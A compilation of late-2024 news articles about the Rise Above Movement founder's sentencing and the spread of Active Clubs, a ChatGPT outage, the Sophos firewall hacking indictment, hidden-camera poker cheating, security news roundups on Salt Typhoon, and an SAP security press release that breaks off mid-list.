The white supremacist Robert Rundo faces years in prison. But the “Active Club” network he helped create has proliferated in countries around the world, from Eastern Europe to South America.

American neo-Nazi Robert Rundo’s six-year “battle with the feds”—a fight that spans two dismissals, three appellate reversals, and an extradition and deportation from at least two countries—concludes today with his sentencing to federal prison for attacking ideological opponents at political rallies across California in 2017.

Along with several members of the Rise Above Movement, a fight club-cum-street gang Rundo cofounded with fellow extremist Ben Daley in Southern California during the peak of the alt-right movement, Rundo was convicted on 2018 charges of conspiracy to violate the federal Anti-Riot Act for training and planning a series of attacks on political opponents at rallies across California and Unite the Right in Virginia the year prior. While Rundo may be locked behind bars for years, the movement he created is running wild around the globe.

In the interceding years since his initial arrest, indictment, imprisonment, and flight from the US after his case was initially dismissed in 2019, Rundo helped mastermind an international network of RAM clones known as “Active Clubs.” A transnational alliance of far-right fight clubs that closely overlap with skinhead gangs and neofascist political movements in North America, Europe, the Antipodes, and South America, the Active Club network is proliferating internationally. There are dozens of Active Clubs in the United States, United Kingdom, Ireland, France, Germany, Holland, Scandinavia, Australia, and Colombia, according to the groups’ presence on Telegram and extremism researchers.

Seemingly harmless from the outside, Active Clubs are small groups of young men who go on hikes, train in combat sports, weight-lift, and build camaraderie—all part of the Rise Above Movement’s original program. But the darkness is in the details: The groups’ membership often overlaps with other extremist organizations like Patriot Front, criminal skinhead groups like the Hammerskins, and other violent extremists in foreign nations. Some US-based Active Clubs are branching out into political intimidation and violence, like the Rise Above Movement before them.

“I definitely do believe that in the future there needs to be a mass movement, a mass organization, but when it comes for that, do you really want a bunch of guys coming strictly from the online world to come join a mass movement without having any experience or skills?” Rundo said in a video posted online shortly before his March 2023 arrest in Bucharest, Romania. “Active clubs are a great local way to start guys off as they come from the online world into the real world, to learn actual skills.”

Hannah Gais, a senior research analyst at the Southern Poverty Law Center who has long researched Rundo and his associates, says the Active Club model stands out for its low barrier to entry, emphasis on positive community building to draw new blood from outside of extremist circles, and a ready-made international network. “The model has really made it easier to facilitate those transnational connections,” Gais says. “If you’re not an organization, then you can network with whoever you want.”

The Active Club network is seeing expanded breadth and growing significance in street politics (American members appeared alongside foreign counterparts at extreme right-wing demonstrations in Paris this May and Warsaw this fall), a fact emphasized by US prosecutors in their filing seeking prison time for Rundo. Federal attorneys scoured Rundo’s media output—which is considerable, ranging from a series of far-right “influencer” Telegram channels to the Media2Rise propaganda outlet that he ran in conjunction with stateside followers and members of Patriot Front—for their explanation of how seemingly innocuous fitness organizations like Active Clubs serve as vehicles for radicalization.

In a November 26 sentencing memorandum, prosecutors flagged Rundo’s description of the Active Cub network as “brush fire effect” that will be difficult for authorities to stamp out “because these clubs are generally small and local, helping to shield it from infiltrators and broader law enforcement actions.”

The Active Club ideology also leans heavily on young male grievances against a world that supposedly singles them out in favor of people of color and LGBTQ+ youth. “Defendant lamented that ‘\[b\]oy scouts no longer teach boys how to be men, instead softening them up, discouring \[sic\] any forms of competition, accepting girls, and promoting LGBT values,’ and encouraged Active Clubs to ‘put out propaganda’ to ‘let\[\] our own know the fight is not over,’ the government’s filing reads.

The Active Club network was not Rundo’s creation alone: He came up with the idea along with Denis Nikitin, a German-Russian neo-Nazi who started out as a soccer hooligan before moving into combat sports as a fighter, promoter, and organizer of far-right tournaments. According to exhibits filed by US prosecutors, Nikitin counseled Rundo on how to flee the US in 2018 while dodging what he believed to be his first arrest warrant, and sought to smuggle him into Ukraine with the assistance of the Azov Movement (a neo-Nazi political movement that has its own paramilitary forces integrated with the Ukrainian military and organizes with other similar extremist groups across Europe) and its allies in that country’s security services. Nikitin is not currently charged with an offense by the United States government.

Nikitin, whose legal surname is Kapustin, is one of Europe’s most influential neo-Nazi activists, starting out small with fight club events held in backwater Russian cities among amateurs from soccer hooligan and skinhead groups. In 2012, Nikitin’s MMA tournament promotion vehicle, White Rex, ran its first tournament outside Russia, in Kyiv. Soon Nikitin was hosting tournaments in Italy, Hungary, France, Germany, Greece, and elsewhere.

Nikitin also got his hands dirty. He allegedly participated in the hooligan riot during Russia’s 2016 European Championship clash with England in Marseille and trained British Nazis in armed combat tactics in 2014 at camps in England and Wales, as well as Swiss extremists in 2017. In 2019, he was reportedly banned from the European Union’s Schengen Zone for promoting extremism in several countries.

Nikitin currently leads a volunteer combat battalion of far-right wing extremists in association with Ukrainian command that spearheaded a surprise assault on Russia’s Kursk region earlier this year.

Since Rundo and Kapustin coined the concept of an Active Club in 2021 on an eponymous podcast, the neo-Nazi fight clubs have proliferated throughout Western Europe, Australia, and the United States, and are currently the preeminent organizing model for far-right streetfighters. Their members have been involved in political violence in the US and France, have been banned and arrested in Germany, and are a growing concern for UK and Irish law enforcement as the place of their recruiting has skyrocketed following this summer's riots.

Michael Vandelune, a research fellow at the American Counterterrorism Targeting & Resilience Institute, has long studied transnational networking by neo-fascist groups, including Rundo’s relationship with Nikitin. “Rundo was building on the Eastern European emphasis on hypermasculinity and physical fitness, and in many ways, he was a perfect Western mouthpiece for Nikitin and similar peoples’ ideas,” Vandelune says. Rundo’s devotion to Nikitin is apparent: While getting RAM off the ground, he repeatedly cited Nikitin’s white-nationalist clothing brand and MMA promotion company White Rex as inspiration, and got the company’s logo tattooed on his shin in 2018.

Along with members of the Azov Movement’s 3rd Assault Battalion who have been integrated into the regular units of Ukraine military intelligence directorate (HUR), Nikitin hosted a September conference in Lviv that gathered representatives from extreme right-wing organizations across Europe for a strategy conference. Italian fascist organization Casapound, which Rundo visited in 2018 and views as an exemplar, sent a representative, as did Germany’s openly neo-Nazi party Dritte Weg (Third Way).

Patrick Macdonald, a Canadian known as ‘Dark Foreigner’ who allegedly produced the neo-Nazi group Atomwaffen Division’s eyecatching signature far-right propaganda at the end of the last decade, did the same work for the Active Club network, according to testimony given during his trial in Ottawa this month (Macdonald has plead not guilty to several charges, including participating in terrorist activity). Last year, the Canadian Anti-Hate Network identified Macdonald as a participant in Canada’s Active Club.

Outside of North America, the Active Clubs have proliferated most widely in France, the first European country to start such an organization. There are currently at least 50 such organizations in operation across the country, from Normandy to Provence and the Swiss border.

Sébastien Bourdon, a French journalist with Le Monde’s video investigations unit who authored a forthcoming book on that country’s far-right, says Active Clubs are the fastest-expanding facet of far-right militancy in France.

“When they launched the first Active Club in France in early 2022, within a few months they had 10 to15 groups. That’s already quite a lot. The fact that within two years they’ve grown from 15 groups to 50-plus groups throughout the country is mad,” Bourdon says. “Historically, most far-right groups in France have been active in big cities like Paris, Lyon, but if you look at some of the places they claim, some of them I’ve never heard of before.”

In France, where far-right street violence has a decades-long history despite authorities’ attempts to ban and dissolve organized groups, Bourdon says Active Clubs have proved effective at dodging legal crackdowns while appearing to have carried out acts of violence including an attack on an asylum center near Nantes last year. At least one founding member of the Active Club in Lyon has gone on to fight in Ukraine alongside other far-right volunteers.

As for Rundo, he will likely spend years in prison—a place he’s been before. He previously served nearly two years for stabbing a rival gang member in Flushing Queens in 2009. While he did radicalize during his stint at New York’s Greene Correctional Facility, starting a small white power gang, Rundo’s forthcoming prison term will mark his first federal term as a certified domestic extremist. But it remains unlikely that federal lockup will change his ideologies.

Rundo “has not renounced the violent extremist ideology that motivated that conduct,” US prosecutors wrote in their sentencing memo. It’s also likely that Rundo will hold out for help from a friendlier government.

Prior to the US election in November, Rundo urged his supporters to vote for Donald Trump specifically in the hope that the Republican president-elect would pardon him and other extremists who plead guilty to federal crimes. Since the election, there has been a sustained pardon campaign from corners of the far-right internet, which is a possibility since Rundo will be serving time in a federal prison when the incoming administration is sworn in this January.

As the Mastermind of Far-Right ‘Active Clubs’ Goes to Prison, His Violent Movement Goes Global

You are not alone, ChatGPT and Sora AI are down worldwide. OpenAI says it is aware of the…

You are not alone, ChatGPT and Sora AI are down worldwide. OpenAI says it is aware of the issue and working on a fix.

ChatGPT, the popular AI-powered chatbot from OpenAI, is currently experiencing a global outage. This includes other OpenAI products like the recently launched video generation model Sora and the company’s API.

While the cause of the outage remains unknown, OpenAI has acknowledged the issue and is working on a fix. The outage began around 3:17 PM PST on December 11th, 2024. Users visiting ChatGPT’s website (chatgpt.com) were initially greeted with a message stating:

> _“ChatGPT is currently unavailable. Status: Identified – We have reports of API calls returning errors, and difficulties logging in to platform.openai.com and ChatGPT. We have identified the issue and are working to roll out a fix.”_

This message was later updated to simply state that ChatGPT is unavailable and a fix is being worked on.

Screenshot from ChatGPT’s status page (Credit: Hackread.com

Given its massive user base of over 200 million weekly active users, ChatGPT is a prime target for cyberattacks. In February 2024, a group called Anonymous Sudan **claimed** responsibility for a DDoS attack that coincided with another service outage. OpenAI hasn’t confirmed whether the current outage is due to a similar attack.

The service disruption came the same day when META’s Facebook, WhatsApp and Instagram faced similar connectivity issues and went offline worldwide. Nevertheless, if you rely on ChatGPT, keep an eye on the **official status page** for updates. This article will also be updated as soon as more information becomes available.

Sora and ChatGPT Currently Down Worldwide: OpenAI Working on a Fix

The US State Department has offered a $10 million reward for Guan Tianfeng, who has been accused of developing and testing a critical SQL injection flaw with a CVSS score of 9.8 used in Sophos attacks.

Source: B Christopher via Alamy Stock Photo

NEWS BRIEF

The US government unsealed charges yesterday against a Chinese national who allegedly broke into approximately 81,000 of Sophos firewall devices around the world in 2020.

Guan Tianfeng, also known as gbigmao and gxiaomao, was charged with conspiracy to commit computer fraud and conspiracy to commit wire fraud. Tianfeng has also been accused of developing and testing a zero-day security vulnerability used to conduct the Sophos attacks.

The zero-day vulnerability in question is tracked as CVE-2020-12271 and has a CVSS score of 9.8, a critical SQL injection flaw that could allow a threat actor to achieve remote code execution (RCE).

A federal arrest warrant was issued for Tianfeng in the US District Court, Northern District of Indiana, Hammond Division, and it is believed that he is currently residing in Sichuan Province, China.

The Rewards for Justice Program through the US Department of State is offering an award of up to $10 million for information on Tianfeng and the offices he worked out of, Sichuan Silence Technology Company Ltd., as well as associated individuals and their malicious activity.

"The defendant and his conspirators compromised tens of thousands of firewalls and then continued to hold at risk these devices, which protect computers in the United States and around the world," said Assistant Attorney General for National Security Matthew Olsen, in a press release. "The Department of Justice will hold accountable those who contribute to the dangerous ecosystem of China-based enabling companies that carry out indiscriminate hacks on behalf of their sponsors and undermine global cybersecurity."

Any tips or information can be made with the FBI via WhatsApp, Signal, Telegram, or tips.fbi.gov.

**About the Author**

Skilled writer and editor covering cybersecurity for Dark Reading.

Chinese Hacker Pwns 81K Sophos Devices With Zero-Day Bug

Several recent schemes were uncovered involving poker players at casinos allegedly using miniature cameras, concealed in personal electronics, to spot cards. Should players everywhere be concerned?

Matt Berkey was becoming suspicious.

Berkey, a 42-year-old poker pro known for his presence in some of the highest-stakes cash games in Las Vegas, was playing in a well-known casino poker room over the summer. One player in the game who wasn’t particularly familiar to Berkey and other regulars at the table, but who was believed to be an amateur based on his play style, was displaying some strange behavior.

For one, the player was wearing earbuds—typically a no-no in these kinds of semi-private games where many players have existing friendships.

“Nobody has headphones on during our games,” Berkey says. “The player in question had headphones in, so that’s already a bit off.”

The player’s style of play also raised some alarms.

Texas Hold’em, the game being played, features two individual cards dealt to each player, plus five community cards dealt in stages to the center of the table. Players combine their own cards with the community cards to make the best possible five-card poker hand. There are four rounds of betting: One before any communal cards are dealt, one after the first three communal cards are spread at once (the part of the game known as “the flop”), one after the fourth communal card (“the turn”), and one more after the fifth and final communal card (“the river”).

Berkey noticed that, despite presenting as an amateur who was clearly the least skilled player at the table, the suspicious player never seemed to lose on the river. When he was in a hand that reached that point, he always either folded or showed the winning hand—one of the first red flags seasoned poker players have come to recognize in suspected cheating situations. As the thinking goes, cheaters with knowledge of their opponents’ cards prefer to wait until all communal cards are dealt before making large bets, allowing them to do so with perfect information about who holds the best hand, which often isn’t certain until that final card.

“Playing all rivers perfectly over an eight-hour sample—that’s an anomaly that isn’t really statistically possible, especially from a recreational player,” Berkey says. “When you start to see things that don’t add up, like the least skilled player in the game never showing down a losing hand, that kind of begins to trigger your suspicions.”

The player also had his phone and earbuds case arranged around him, with the case on the felt and his phone on the rail that runs along the table’s edge. While occasional phone usage at poker tables is normal, that kind of arrangement is unusual and is even something many casinos have guarded against for years. Berkey began to wonder if this game was falling victim to a new cheating scheme that word had been spreading about in high-stakes circles for months: Hidden cameras placed at felt level, capturing the faces of cards as they’re dealt and transmitting that intel to an accomplice, who then relays it back to the player at the table through an earpiece.

Berkey also noticed that the player always seemed to sit in the seats directly to the left of the casino’s dealer, even across multiple days and playing sessions. That furthered suspicions, as the rumored cheating method required a player to be in these seats to maximize camera visibility.

Berkey says he quietly alerted other regulars of his suspicions, and the game eventually broke down, but not before the player had made enormous profits. “Not just for his skill level but for the stakes he was playing,” Berkey says. “He was up hundreds of thousands of dollars playing a $10,000 buy-in game.”

Berkey says he and the other regulars in the game flagged the incident to casino staff, but they are unsure what, if any, action was taken. Security for the casino declined to comment on this incident.

Several other such incidents involving the same suspected cheating method have been rumored in various locations over the past 18 months, including one other instance WIRED verified independently. (Specific casinos where these incidents are alleged are not being named in this story to protect the safety of players who confirmed the incidents occurred.) This form of cheating is now a known concern to high-stakes poker players everywhere.

But each of these rumored incidents has lacked a “smoking gun”—proof of the measures, methods, and equipment the cheaters were using to see the cards being dealt. That is, until recently. A breaking case in France has provided revealing new evidence, fueling concerns that this cheating method is rampant around the globe and may be more advanced than anyone had assumed.

What kinds of modern technology can facilitate such a scheme? Should poker players at all levels, not just high-stakes pros, be worried about scofflaws attempting it in games they play, and what can be done to prevent it?

The recent scandal sounds like a rejected _Ocean’s_ movie script.

Following tips of suspicious behavior at a major casino in Enghien-les-Bains, French police with the Central Racing and Gaming Service (SCCJ) launched an elaborate in-person and video surveillance operation around two suspected players at both blackjack and Ultimate Texas Hold’em poker (a type of poker played against the casino rather than against fellow players). Though they were initially in the dark about the method being used, investigators soon noticed a pattern.

“They were putting \[something\] beside the \[dealing\] shoe,” Stéphane Piallat, commissioner of SCCJ, alleges to WIRED, referring to the tabletop container a dealer pulls from to draw new cards. “But it was quite difficult to understand why.”

Both players were arrested inside the French casino in late July after weeks of surveillance, with police recovering a variety of items from both their person and their hotel rooms (including ID cards from casinos around Europe that suggested a prolonged scheme). The technology seized by law enforcement amazed even a seasoned gambling fraud officer like Piallat, both for its ingenuity and its relative simplicity.

The players had allegedly modified existing smartphone cameras with simple mirrors, allowing them to capture footage on a phone’s camera sensor laterally, while the phone was in a flat position. Sitting in the seat nearest to the dealer’s shoe, they placed these devices either on the felt (concealed in some situations by a hat or another piece of clothing) or within pockets of their own clothing (with tiny holes cut out to afford the camera a view of the cards). Police say they used these devices to capture card faces as they were dealt from the shoe—a stunning realization given that casino shoes are quite literally designed to prevent card exposure by allowing the dealer to slide new cards directly onto the felt. Clearly, some exposure was still being captured.

“It’s quite incredible,” Piallat says. “They didn’t need to mark cards … Those cards were normal cards.”

Police also recovered basic communication devices that transmitted these feeds to an outside accomplice, believed to be sitting in the casino parking lot. (As of WIRED’s interview with French police, this accomplice remains at large.) The accomplice is thought to have relayed information about which cards the dealer was holding back to their partner at the table, but not through a standard earbud.

“This device is so small that you can’t take it off with your fingers,” Piallat says of the hearing device recovered by police. “You need a magnet to pull it off, otherwise you can’t do it. It looks like a typical James Bond movie device.”

Due to the ongoing nature of the investigation, police declined to provide any pictures or further details about the specific items used to facilitate this scheme. A simple look at available technology, though, offers a number of cheap, simple candidates, including several that don’t require pairing with a phone or any other large device.

“The same kind of modules that are used in your iPhone or your DSLR, you can just buy them,” says John Coles, the director of technology for the VR company Rezzil, who has also spent years working in camera and broadcast technology.

The alleged cheaters in France used simple techniques to conceal their cameras, like hiding the devices in their clothing, but much more robust options exist on the open market. A device that looks like a battery charger may not cause alarm if it was spotted sitting on a poker or blackjack table, at least in casinos where devices are generally allowed (some have stopped allowing any devices on tables); one can find a 4K, Wi-Fi capable “hidden camera powerbank” on Amazon. (It’s marketed as a “nanny camera” for surveilling your child’s babysitter, naturally.) Even smaller options exist, like a “spy camera pen” or a pinhole camera that could easily be inserted into various items. And that’s just a fraction of the true marketplace, says Coles: “If that’s what you know about publicly, the stuff that exists behind closed doors is like 10 times what you’re aware of.”

“You could probably build that into a lighter,” Coles says of a typical tiny camera rig. “There are lighters and pens that have modules integrated that still work as those items so they’re less conspicuous.”

For bad actors at traditional poker tables that feature “pitch”-style dealing instead of a more secure casino shoe, the video quality demands are even lower. Card faces are visible for exponentially longer when pitched from a dealer’s hand situated a foot or so above the card table.

The transmission element of the scheme is similarly attainable using today’s technology. You can buy a “mini spy earpiece” from Amazon that receives signals from an inductive coil for just $18. An entire industry of earpieces appears to exist for exam cheating purposes, from tiny Bluetooth earpieces that connect to a phone to setups contained within glasses and pens. It’s easy to imagine these methods converted for use in cheating at the card table, especially when aided by basic video-calling technology and access to the Wi-Fi networks offered at most casinos. In fact, while police say the suspects in France allegedly used separate devices for capture and transmission, Coles believes it would be simple enough to handle the entire operation with a single device.

“I think it’s kind of surprising that a lot of these things don’t happen sooner, to be perfectly honest,” Coles says, noting that many of these cameras, earpieces, and transmitters have existed for a decade or more.

“You could do it with a very cheap investment,” Piallat says. “You won’t need a lot of money.”

Clearly, these schemes are out there and available. So should poker players everywhere be concerned?

Mini-camera cheating is now an open secret in the poker community, from its references in forums to an entire August episode from Berkey’s _Only Friends_ podcast that covered the alleged methods in detail. And if casinos and law enforcement weren’t aware of it much earlier, they certainly are now; Piallat confirmed to WIRED that his unit dispersed information about the case around the globe through Interpol networks.

What can casinos, players, and law enforcement do about it, though?

The first step is simple vigilance, something all these parties are well-versed in. Policing of suspicious players happens at casino level. WIRED independently confirmed a separate alleged incident at a different casino in June that included an individual reportedly earning seven-figure profits before disappearing. The alleged cheater in this case hasn’t been seen since, and Berkey wonders if he was banned from this and possibly other casinos.

“It would seem as though the Vegas casinos have acted,” Berkey says.

Those are retroactive measures, though; what about stopping this cheating as or before it happens?

Some Vegas casinos, per multiple sources, have begun banning phones from being set down at felt level on tables. Many casinos have long had policies prohibiting phone use during hands, and some have even banned phones entirely in prior years, and now these efforts are growing more widespread. However, with the knowledge that today’s miniature cameras can be built into lighters, pens, and other non-phone devices, is that enough of a safety measure? A true “no items on the table whatsoever” rule feels more prudent, but will casinos view that as too invasive toward their clientele? Then there’s a whole separate conversation about placing devices on the rail, which is where players rest their elbows and which sits slightly higher than the felt itself.

“There will be guys who want to watch the game at the table and have their phone propped up,” Berkey says. “That should just be fine. It’s a fine line; it’s a gray line.”

Berkey even suggested some sort of hybrid arrangement where phones or other devices are allowed so long as they sit behind chips or some other item that blocks their view of the felt. These solutions, though, also fail to account for rings or other jewelry that may contain a concealed camera.

The device removal tactic would have run into another big snag when the arrests in France took place: One of the suspects had nothing on the table at all. He allegedly concealed a camera in his clothing. If that scheme worked to capture card faces out of a dealer’s shoe, it would definitely work for the traditional dealer-pitch style used in Vegas.

The better long-term solution, one Berkey and others in the poker world support, involves retraining the dealers—a process that’s already begun.

The European Poker Tour has introduced a new form of dealer pitch known as slide dealing, where the deck remains on the table and the dealer slides each top card off individually to greatly minimize or eliminate any exposure. EPT tournament director Toby Stone directly cited issues of camera cheating as the impetus behind this change, which took effect within the past couple of months.

Casinos could take it even further; some have been cracking down for years. The Star casinos in Australia, for instance, have long used a modified version of a blackjack shoe meant for a single poker deck, which sits at the center of the table and allows cards to slide out from within it. This ostensibly makes it much harder to capture cards than from the traditional blackjack shoe placed at the very side of the table, closer to potential cameras. Anecdotally, these contraptions also seem to limit or eliminate other common risks like bottom-dealing or cards flipping over while being dealt.

While it might take time to retrain the world’s legion of poker dealers to mitigate these schemes, that could be the eventual outcome here.

“I’ve spoken to a few of the \[casino\] higher-ups, and it seems they’re all open to the idea of retraining dealers,” Berkey says.

Maybe even that eventual move wouldn’t completely eliminate mini camera cheating. As the suspects in France allegedly showed us, today’s video technology is truly amazing. Would you ever have guessed a mini camera could accurately capture which cards are being dealt during the split second they’re exposed as they’re pulled from a blackjack shoe?

Anyone putting their money down at a casino, particularly higher up the stakes spectrum, should at least be aware of the risk of bad actors—particularly in a game like poker, where your opponents are other patrons rather than the casino itself. Whether to combat this or any other potential scheme, a dose of diligence goes a long way.

“As long as there’s a fair game to be offered, there will be people who will try to corrupt it,” Berkey says. “The best we can do is continually work hard to keep the game as fair as possible.”

Poker Cheaters Allegedly Use Tiny Hidden Cameras to Spot Dealt Cards

Plus: Russian spies keep hijacking other hackers’ infrastructure, Hydra dark web market admin gets life sentence in Russia, and more of the week’s top security news.

A consortium of global law enforcement agencies led by Britain’s National Crime Agency announced a takedown operation this week against two major Russian money-laundering networks that process billions of dollars each year in more than 30 locations around the world. WIRED had exclusive access to the investigation, which uncovered new and troubling laundering techniques, particularly schemes to directly change cryptocurrency for cash. As the United States government scrambles to address China’s “Salt Typhoon” digital espionage campaign into US telecoms, two senators demanded this week that the Department of Defense investigate its failure to secure its own communications and address known vulnerabilities in US telecom infrastructure. Meanwhile, Signal Foundation president Meredith Whittaker spoke at WIRED’s The Big Interview event in San Francisco this week about Signal’s enduring commitment to bring private, end-to-end encrypted communication services to people all over the world regardless of geopolitical climate.

A new smartphone scanner from the mobile device security firm iVerify can quickly and easily detect spyware and has already flagged seven devices infected with the invasive Pegasus surveillance tool. Programmer Micah Lee built a tool to help you save and delete your X posts after he offended Elon Musk and was banned from the platform. And privacy advocate Nighat Dad is fighting to protect women from digital harassment in Pakistan after escaping from an abusive marriage.

The US Federal Trade Commission is targeting data brokers who it says unlawfully tracked protesters and US military personnel, but the enforcement efforts seem likely to trail off under the Trump administration. Similarly, the US Consumer Financial Protection Bureau has devised a strategy to impose new oversight on predatory data brokers, but the new administration may not continue the initiative. Some new laws are finally coming around the world in 2025 that will attempt to regulate the dysfunction of the digital advertising industry, but malicious advertising is still booming around the world and continues to play a big role in global scamming.

And there’s more. Each week, we round up the security and privacy news we didn’t cover in-depth ourselves. Click the headlines to read the full stories. And stay safe out there.

**US Officials Urge Americans to Encrypt Calls and Texts After Chinese Telecom Hacking**

Remember how the US federal government spent much of the last three decades periodically decrying the dangers of strong, freely available encryption tools, arguing that because they enable criminals and terrorists, they should be outlawed or required to implement government-approved backdoors? As of this week, the government will never again be able to make that argument without privacy advocates pointing to a particular phone call where two officials recommended Americans use exactly those encryption tools to protect themselves amidst an ongoing massive breach of US telecoms by Chinese hackers.

In a briefing with reporters about the breach of no fewer than eight phone companies by the Chinese state-sponsored espionage hackers known as Salt Typhoon, officials from the Cybersecurity and Infrastructure Security Agency (CISA) and the FBI both said that amid the still-uncontrolled infiltration of US telecoms that have exposed calls and texts, Americans should use encryption apps to safeguard their privacy. “Encryption is your friend, whether it’s on text messaging or if you have the capacity to use encrypted voice communication,” said Jeff Greene, CISA’s executive assistant director for cybersecurity. (Signal and WhatsApp, for instance, end-to-end encrypt calls and texts, though the officials didn’t name any particular apps.)

The recommendation amid what one senator has called “the worst telecom hack in our nation’s history” represents a stunning reversal from previous US officials’ rhetoric on encryption, and in particular the FBI’s repeated calls for access to backdoors in encryption. In fact, it was exactly this sort of government-approved wiretap capability requirement for US telecoms that the Salt Typhoon hackers in some cases exploited to access Americans communications.

**Russia’s FSB Hackers Keep Hijacking Other Hackers’ Infrastructure for Spying**

The hacker group known as Secret Blizzard, Snake, or Turla, widely believed to work for Russia’s FSB intelligence agency, is known for using some of the most ingenious hacking techniques ever seen to spy on its victims. One of the tricks that’s now become its signature move: hacking the infrastructure of other hackers to stealthily piggyback on their access. This week Microsoft’s threat intelligence researchers and security firm Lumen Technologies revealed that Turla gained access to the servers of a Pakistan-based hacker group and used its visibility into victim networks to spy on government, military and intelligence targets in India and Afghanistan of interest to the Kremlin. In some cases, Turla hijacked the Pakistani hackers’ access to install their own malware, while in other instances they appear to have used the other group’s tools for even greater stealth and deniability. The incident marks the fourth known time since 2017, when it penetrated an Iranian hacker group’s command-and-control servers, that Turla has freeloaded on another hacker group’s infrastructure and tooling, according to Lumen.

**Admin of Russian Dark Web Market Hydra Sentenced to Life in Prison**

The Russian government is known for turning a blind eye to cybercrime—until it doesn’t. This week 15 convicted members of the notorious dark web market Hydra learned the limits of that forbearance when they reportedly received prison sentences ranging from 8 years to 23 years, as well an unprecedented life sentence for the site’s creator Stanislav Moiseyev. Before it was taken down two years ago in a law enforcement operation led by IRS criminal investigators in the US and Germany’s BKA police agency, Hydra was a uniquely sprawling dark web marketplace, one that not only served as the post-Soviet world’s biggest online bazaar for narcotics but also a vast money laundering machine for crimes including ransomware, scams, and sanctions evasion. In total, Hydra enabled more than $5 billion dollars in dirty cryptocurrency transactions since 2015, according to crypto tracing firm Elliptic.

**Suspected Ransomware Actor “Wazawaka” Reportedly Charged and Apprehended by Russia**

Russian law enforcement charged and arrested a software developer last week who is suspected of prolific contributions to multiple ransomware groups, including building malware to extort money from businesses and other targets. The suspect is reportedly Mikhail Matveev, or “Wazawaka,” who has worked as an affiliate with ransomware gangs like Conti, LockBit, Babuk, DarkSide, and Hive. Social media reports indicate that Matveev confirmed his indictment and said that he has been released from law enforcement custody on bail.

Russia’s prosecutor general did not name Matveev, but described charges last week against a 32-year-old hacker under Article 273 of Russia’s Criminal Code, which bans the creation or use of malware. The move came as Russia seemed to be sending some sort of message about its tolerance for cybercrime with the sentencing of the dark web marketplace Hydra’s staff, including a life sentence for its administrator. In 2023, the US government indicted and sanctioned Matveev.

**FBI Is Investigating Exxon Lobbyist Firm Over Hack-and-Leak Operation Targeting Activists**

In a disturbing scoop (one we didn’t cover last week due to the Thanksgiving holiday), Reuters reporters have revealed that the FBI is now investigating a lobbying consultancy hired by Exxon over the firm’s role in a hack-and-leak operation that targeted climate change activists. DCI Group, a lobbying firm hired at the time by Exxon, allegedly gave a list of target activists to a private investigator who then outsourced a hacking operation against those targets to mercenary hackers. After the private investigator—an Israeli man named Amit Forlit, who was later arrested in London and faces US hacking charges—allegedly gave the hacked material to DCI, it leaked the activists’ internal communications about climate change litigation against Exxon to the media, Reuters discovered. The FBI, according to Reuters, has determined that DCI also first previewed that material to Exxon before leaking it. “Those documents were directly employed by Exxon to come after me with all guns blazing,” one attorney working with the activist group, the Center for Climate Integrity, told Reuters. “It turned my life upside down.”

Exxon has denied knowing about any hacking activities and DCI told Reuters in a statement that “we direct all our employees and consultants to comply with the law.”

US Officials Recommend Encryption Apps Amid Chinese Telecom Hacking

US telecom providers have been infiltrated to a worrying level by an APT group. The advice is to use encrypted messaging.

A years-long infiltration into the systems of eight telecom giants, including AT&T and Verizon, allowed a state sponsored actor to steal vast amounts of data on where, when and who individuals have been communicating with.

Speaking to Reuters, a senior US official said the attack telecommunications infrastructure was broad and that the hacking was still ongoing.

The state-sponsored actor behind the attack is an Advanced Persistent Threat (APT) group known as Salt Typhoon, believed to be tied to the People’s Republic of China (PRC).

Sophisticated state-sponsored campaigns from China are constantly targeting network appliances and devices. Among the culprits are four major APT groups: Volt Typhoon, Salt Typhoon, Flax Typhoon, and Velvet Ant. Volt Typhoon made headlines earlier this year when the FBI removed their malware from hundreds of routers across the US.

The infrastructure that the US government relies to communicate on is made up of the same private sector systems that everybody else uses. By abusing their components that make up part of the infrastructure, the Chinese are said to have been able to eavesdrop on political and industrial leaders in multiple countries.

Speaking to Reuters, the official said they believed a “large number” of American’s metadata was taken. When asked if that might include every Americans’ phone records, they said:

> “We do not believe it’s every cell phone in the country, but we believe it’s potentially a large number of individuals that the Chinese government was focused on.”

The Cybersecurity and Infrastructure Security Agency (CISA) and the FBI have been investigating the incident since late spring, but admitted that there are still many unanswered questions, including the extent of the breach itself.

They have been working with the telecom companies to remove the intruders, but the companies have not been able to fully remove the hackers from their systems.

Anne Neuberger, the US deputy national security adviser for cyber and emerging technologies stated the “Chinese access was broad in terms of potential access to communications of everyday Americans” but she said the hackers only targeted prominent individuals.

According to NBC news, two officials — a senior FBI official who asked not to be named and Jeff Greene, executive assistant director for cybersecurity at CISA– both recommended using encrypted messaging apps to Americans who want to minimize the chances of China’s intercepting their communications.

If you plan to follow that advice, but are new to encrypted messaging, make sure to use an app that offers E2EE (End-to-end encryption). What that means is only the person sending it and the person receiving it can read it.

To achieve this, a message gets encrypted on your device before it is sent out. During transit the message remains encrypted the entire time it is moving across the internet.  Only when the message reaches the recipient’s device can it be decrypted and read.

You don’t need an expensive app to achieve this. Several popular messaging apps and services support end-to-end encryption, such as WhatsApp, Signal, iMessage, Wire, and Telegram.

The FBI official added:

> “People looking to further protect their mobile device communications would benefit from considering using a cellphone that automatically receives timely operating system updates, responsibly managed encryption and phishing resistant multi-factor authentication for email, social media, and collaboration tool accounts.”

**We don’t just report on threats – we help protect your social media**

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

 Americans urged to use encrypted messaging after large, ongoing cyberattack 

PRESS RELEASE

BOSTON, MA -- December 4, 2024 – Onapsis, the global leader in SAP cybersecurity and compliance, today announced the expansion of its Control product line to include a new bundle that enhances application security testing capabilities for SAP Business Technology Platform (BTP). The new offering supports both new and existing customers by enabling seamless, automated code scanning in SAP’s most commonly used integrated development environments (IDEs) and Git repositories.  This helps teams accelerate development, automate manual effort, enhance security and mitigate risks in their RISE with SAP and SAP BTP projects.

As SAP continues to drive cloud adoption for its SAP S/4HANA ecosystem, organizations are increasingly turning to SAP BTP for custom application development. However, as these projects scale, ensuring the security and integrity of the code is more important than ever. The expanded capabilities of the Control for BTP bundle address this challenge by providing development and quality assurance teams with comprehensive application security testing support, embedded directly into their development workflows.

Key features of the new offering include:

*   Code Scanning Across SAP Recommended IDEs for BTP: Control now supports SAP’s most frequently used IDEs, including SAP Business Application Studio (SAP BAS), Visual Studio Code and Eclipse with ABAP Development Tools. This capability ensures that developers working in RISE with SAP or SAP BTP environments can scan their code for issues and vulnerabilities within the IDEs they already use on a day to day basis.
    

